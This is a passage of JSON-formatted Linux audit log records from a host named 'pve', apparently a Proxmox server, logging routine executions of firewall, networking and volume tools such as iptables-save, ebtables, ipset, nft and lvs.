item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206034,"@rawstring":"node=pve type=PATH msg=audit(1781965206.034:64614): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206034,"@rawstring":"node=pve type=PATH msg=audit(1781965206.034:64614): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206028,"@rawstring":"node=pve type=PATH msg=audit(1781965206.028:64613): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206028,"@rawstring":"node=pve type=PATH msg=audit(1781965206.028:64613): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206024,"@rawstring":"node=pve type=PATH msg=audit(1781965206.024:64612): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206024,"@rawstring":"node=pve type=PATH msg=audit(1781965206.024:64612): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206020,"@rawstring":"node=pve type=PATH msg=audit(1781965206.020:64611): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206020,"@rawstring":"node=pve type=PATH msg=audit(1781965206.020:64611): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206018,"@rawstring":"node=pve type=PATH msg=audit(1781965206.018:64610): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206018,"@rawstring":"node=pve type=PATH msg=audit(1781965206.018:64610): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206018,"@rawstring":"node=pve type=PATH msg=audit(1781965206.018:64609): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206014,"@rawstring":"node=pve type=PATH msg=audit(1781965206.014:64608): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206014,"@rawstring":"node=pve type=PATH msg=audit(1781965206.014:64608): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206014,"@rawstring":"node=pve type=PATH msg=audit(1781965206.014:64608): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206008,"@rawstring":"node=pve type=PATH msg=audit(1781965206.008:64607): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206008,"@rawstring":"node=pve type=PATH msg=audit(1781965206.008:64607): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965205998,"@rawstring":"node=pve type=PATH msg=audit(1781965205.998:64606): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965205998,"@rawstring":"node=pve type=PATH msg=audit(1781965205.998:64606): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965205993,"@rawstring":"node=pve type=PATH msg=audit(1781965205.993:64605): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965205993,"@rawstring":"node=pve type=PATH msg=audit(1781965205.993:64605): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965205983,"@rawstring":"node=pve type=PATH msg=audit(1781965205.983:64604): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965205983,"@rawstring":"node=pve type=PATH msg=audit(1781965205.983:64604): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965205974,"@rawstring":"node=pve type=PATH msg=audit(1781965205.974:64603): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965205974,"@rawstring":"node=pve type=PATH msg=audit(1781965205.974:64603): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965204673,"@rawstring":"node=pve type=PATH msg=audit(1781965204.673:64602): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965204673,"@rawstring":"node=pve type=PATH msg=audit(1781965204.673:64602): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965204650,"@rawstring":"node=pve type=PATH msg=audit(1781965204.650:64601): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965204650,"@rawstring":"node=pve type=PATH msg=audit(1781965204.650:64601): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965202160,"@rawstring":"node=pve type=PATH msg=audit(1781965202.160:64600): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965202160,"@rawstring":"node=pve type=PATH msg=audit(1781965202.160:64600): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965202160,"@rawstring":"node=pve type=PATH msg=audit(1781965202.160:64599): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965202160,"@rawstring":"node=pve type=PATH msg=audit(1781965202.160:64598): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965202154,"@rawstring":"node=pve type=PATH msg=audit(1781965202.154:64597): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965202154,"@rawstring":"node=pve type=PATH msg=audit(1781965202.154:64597): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965202154,"@rawstring":"node=pve type=PATH msg=audit(1781965202.154:64596): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965202154,"@rawstring":"node=pve type=PATH msg=audit(1781965202.154:64595): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965197142,"@rawstring":"node=pve type=PATH msg=audit(1781965197.142:64594): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965197142,"@rawstring":"node=pve type=PATH msg=audit(1781965197.142:64594): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965197142,"@rawstring":"node=pve type=PATH msg=audit(1781965197.142:64593): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965197142,"@rawstring":"node=pve type=PATH msg=audit(1781965197.142:64592): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965197135,"@rawstring":"node=pve type=PATH msg=audit(1781965197.135:64591): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965197135,"@rawstring":"node=pve type=PATH msg=audit(1781965197.135:64591): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965197135,"@rawstring":"node=pve type=PATH msg=audit(1781965197.135:64590): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965197135,"@rawstring":"node=pve type=PATH msg=audit(1781965197.135:64589): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195960,"@rawstring":"node=pve type=PATH msg=audit(1781965195.960:64588): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195960,"@rawstring":"node=pve type=PATH msg=audit(1781965195.960:64588): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195951,"@rawstring":"node=pve type=PATH msg=audit(1781965195.951:64587): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195951,"@rawstring":"node=pve type=PATH msg=audit(1781965195.951:64587): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195949,"@rawstring":"node=pve type=PATH msg=audit(1781965195.949:64586): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195949,"@rawstring":"node=pve type=PATH msg=audit(1781965195.949:64586): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195949,"@rawstring":"node=pve type=PATH msg=audit(1781965195.949:64585): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195938,"@rawstring":"node=pve type=PATH msg=audit(1781965195.938:64584): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195938,"@rawstring":"node=pve type=PATH msg=audit(1781965195.938:64584): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195938,"@rawstring":"node=pve type=PATH msg=audit(1781965195.938:64584): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195926,"@rawstring":"node=pve type=PATH msg=audit(1781965195.926:64583): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195926,"@rawstring":"node=pve type=PATH msg=audit(1781965195.926:64583): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195918,"@rawstring":"node=pve type=PATH msg=audit(1781965195.918:64582): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195918,"@rawstring":"node=pve type=PATH msg=audit(1781965195.918:64582): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195912,"@rawstring":"node=pve type=PATH msg=audit(1781965195.912:64581): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195912,"@rawstring":"node=pve type=PATH msg=audit(1781965195.912:64581): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195902,"@rawstring":"node=pve type=PATH msg=audit(1781965195.902:64580): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195902,"@rawstring":"node=pve type=PATH msg=audit(1781965195.902:64580): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195897,"@rawstring":"node=pve type=PATH msg=audit(1781965195.897:64578): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195897,"@rawstring":"node=pve type=PATH msg=audit(1781965195.897:64578): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195890,"@rawstring":"node=pve type=PATH msg=audit(1781965195.890:64577): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195890,"@rawstring":"node=pve type=PATH msg=audit(1781965195.890:64577): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195884,"@rawstring":"node=pve type=PATH msg=audit(1781965195.884:64576): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195884,"@rawstring":"node=pve type=PATH msg=audit(1781965195.884:64576): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195877,"@rawstring":"node=pve type=PATH msg=audit(1781965195.877:64575): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195877,"@rawstring":"node=pve type=PATH msg=audit(1781965195.877:64575): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195869,"@rawstring":"node=pve type=PATH msg=audit(1781965195.869:64574): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195869,"@rawstring":"node=pve type=PATH msg=audit(1781965195.869:64574): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195861,"@rawstring":"node=pve type=PATH msg=audit(1781965195.861:64573): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195861,"@rawstring":"node=pve type=PATH msg=audit(1781965195.861:64573): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195856,"@rawstring":"node=pve type=PATH msg=audit(1781965195.856:64572): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195856,"@rawstring":"node=pve type=PATH msg=audit(1781965195.856:64572): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195843,"@rawstring":"node=pve type=PATH msg=audit(1781965195.843:64571): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195843,"@rawstring":"node=pve type=PATH msg=audit(1781965195.843:64571): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195836,"@rawstring":"node=pve type=PATH msg=audit(1781965195.836:64570): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195836,"@rawstring":"node=pve type=PATH msg=audit(1781965195.836:64570): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195817,"@rawstring":"node=pve type=PATH msg=audit(1781965195.817:64569): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195817,"@rawstring":"node=pve type=PATH msg=audit(1781965195.817:64569): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195815,"@rawstring":"node=pve type=PATH msg=audit(1781965195.815:64568): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195815,"@rawstring":"node=pve type=PATH msg=audit(1781965195.815:64568): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195815,"@rawstring":"node=pve type=PATH msg=audit(1781965195.815:64567): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195803,"@rawstring":"node=pve type=PATH msg=audit(1781965195.803:64566): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195803,"@rawstring":"node=pve type=PATH msg=audit(1781965195.803:64566): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195803,"@rawstring":"node=pve type=PATH msg=audit(1781965195.803:64566): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195788,"@rawstring":"node=pve type=PATH msg=audit(1781965195.788:64565): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195788,"@rawstring":"node=pve type=PATH msg=audit(1781965195.788:64565): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195779,"@rawstring":"node=pve type=PATH msg=audit(1781965195.779:64564): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195779,"@rawstring":"node=pve type=PATH msg=audit(1781965195.779:64564): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195774,"@rawstring":"node=pve type=PATH msg=audit(1781965195.774:64563): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195774,"@rawstring":"node=pve type=PATH msg=audit(1781965195.774:64563): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195763,"@rawstring":"node=pve 